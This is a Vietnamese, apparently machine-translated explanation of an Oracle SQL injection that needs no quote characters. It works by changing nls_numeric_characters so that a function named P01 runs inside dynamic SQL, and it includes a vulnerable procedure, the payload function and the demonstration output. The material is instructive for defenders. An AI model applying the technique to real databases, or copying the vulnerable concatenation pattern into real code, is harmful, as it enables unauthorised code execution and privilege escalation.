Có, có thể thực hiện một cuộc tấn công SQL SQL mà không cần cung cấp dấu ngoặc kép trong tham số.
Cách để làm điều này là với một khai thác để làm với cách xử lý số và / hoặc ngày. Bạn có thể chỉ định ở cấp phiên định dạng của ngày hoặc số là gì. Bằng cách thao tác này, bạn có thể tiêm bất kỳ ký tự nào.
Theo mặc định ở Anh và Hoa Kỳ, dấu phẩy được sử dụng để chỉ dấu phân cách hàng nghìn bằng số và dừng hoàn toàn cho dấu thập phân. Bạn có thể thay đổi các giá trị mặc định này bằng cách thực thi:
alter session set nls_numeric_characters = 'PZ';
Điều này có nghĩa là "P" hiện là dấu thập phân và "Z" là dấu phân cách hàng nghìn. Vì thế:
0P01
Là số 0,01. Tuy nhiên, nếu bạn tạo một hàm P01, tham chiếu đối tượng sẽ được chọn trước khi chuyển đổi số. Điều này cho phép bạn thực thi các chức năng trên cơ sở dữ liệu cho phép bạn tăng sức mạnh, như sau:
Tạo một hàm "get by id" cơ bản:
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
Đồng thời tạo một hàm P01 để thực hiện điều gì đó không mong muốn (trong trường hợp này chỉ là tạo bảng, nhưng bạn có ý tưởng):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
Và chúng tôi tốt để đi:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
Không có dấu ngoặc kép ở bất cứ đâu, nhưng chúng tôi vẫn quản lý để thực hiện chức năng "ẩn" P01 và tạo bảng t
!
Mặc dù điều này có thể khó thực hiện trong thực tế (và có thể cần một số kiến thức / trợ giúp nội bộ), nhưng điều này cho thấy rằng bạn có thể tiêm SQL mà không cần phải có dấu ngoặc kép. Thay đổinls_date_format
có thể cho phép những điều tương tự được thực hiện.
Những phát hiện ban đầu cho các con số là của David Litchfield và bạn có thể đọc bài viết của ông ở đây . Bạn có thể tìm thấy cuộc thảo luận của Tom Kyte về cách khai thác ngày ở đây .